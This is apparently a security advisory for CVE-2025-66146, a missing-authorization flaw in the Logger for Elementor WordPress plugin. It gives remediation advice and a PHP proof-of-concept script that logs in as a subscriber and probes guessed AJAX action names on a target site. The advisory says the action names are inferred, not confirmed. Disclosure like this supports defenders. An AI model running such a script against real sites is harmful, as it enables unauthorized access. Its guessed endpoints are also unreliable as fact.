Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 20, 2026

CVE-2025-66146: Logger for Elementor <= 1.0.9 – Missing Authorization (logger-elementor)

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.0.9
Patched Version
Disclosed December 30, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-66146 (metadata-based):
The Logger for Elementor WordPress plugin version 1.0.9 and earlier contains a missing authorization vulnerability. This flaw allows authenticated attackers with subscriber-level permissions to perform unauthorized actions. The vulnerability stems from improper access control on a plugin function.

CWE-862 (Missing Authorization) indicates the plugin fails to verify user capabilities before executing privileged operations. Atomic Edge research infers the vulnerable component is likely an AJAX handler or admin menu callback function. The plugin does not check if the current user has appropriate permissions, such as manage_options or administrator-level capabilities, before processing requests. This inference is based on the CWE classification and the WordPress plugin architecture pattern where missing capability checks commonly occur in AJAX actions registered via wp_ajax hooks.

Exploitation requires an authenticated WordPress user account with subscriber-level access. Attackers would send a crafted HTTP request to the vulnerable endpoint, typically /wp-admin/admin-ajax.php with an action parameter containing the plugin’s AJAX hook. The exact action name cannot be confirmed without source code, but WordPress plugin conventions suggest it likely follows patterns like logger_elementor_action or similar. No nonce verification would be required, as the missing capability check is the primary vulnerability.

Remediation requires adding proper capability checks before executing sensitive functions. The plugin should implement current_user_can() checks with appropriate capability requirements, such as manage_options or a custom capability specific to the plugin’s functionality. WordPress security best practices also recommend nonce verification for state-changing operations, though the immediate fix focuses on authorization.

Successful exploitation enables unauthorized actions within the plugin’s functionality. While the CVSS vector indicates low impact on confidentiality and availability with no integrity impact, the description suggests attackers can perform actions beyond their intended permissions. The specific actions remain unknown without source code, but could include logging manipulation, settings modification, or data access depending on the vulnerable function’s purpose.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-66146 - Logger for Elementor <= 1.0.9 - Missing Authorization
<?php
/**
 * Proof of Concept for CVE-2025-66146
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
 * 2. Action parameter follows plugin naming conventions
 * 3. No capability check present in handler
 * 4. No nonce verification required
 */

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';

// Common AJAX action patterns for Logger for Elementor plugin
$possible_actions = [
    'logger_elementor_action',
    'logger_elementor_log_action',
    'logger_elementor_clear_logs',
    'logger_elementor_export',
    'logger_elementor_settings',
    'elementor_logger_action'
];

// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url,
        'testcookie' => '1'
    ])
]);

$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'admin-ajax.php') === false) {
    echo "Authentication failed. Check credentials.n";
    exit;
}

echo "Authenticated as subscriber. Testing vulnerable actions...nn";

// Test each possible action
foreach ($possible_actions as $action) {
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POSTFIELDS => http_build_query(['action' => $action])
    ]);
    
    $ajax_response = curl_exec($ch);
    
    // Check for successful but unauthorized response
    if ($ajax_response !== false && $ajax_response !== '') {
        echo "Potential vulnerable action found: {$action}n";
        echo "Response length: " . strlen($ajax_response) . " bytesn";
        echo "First 200 chars: " . substr($ajax_response, 0, 200) . "nn";
    }
}

curl_close($ch);
echo "PoC completed. Review responses for successful unauthorized actions.n";
?>

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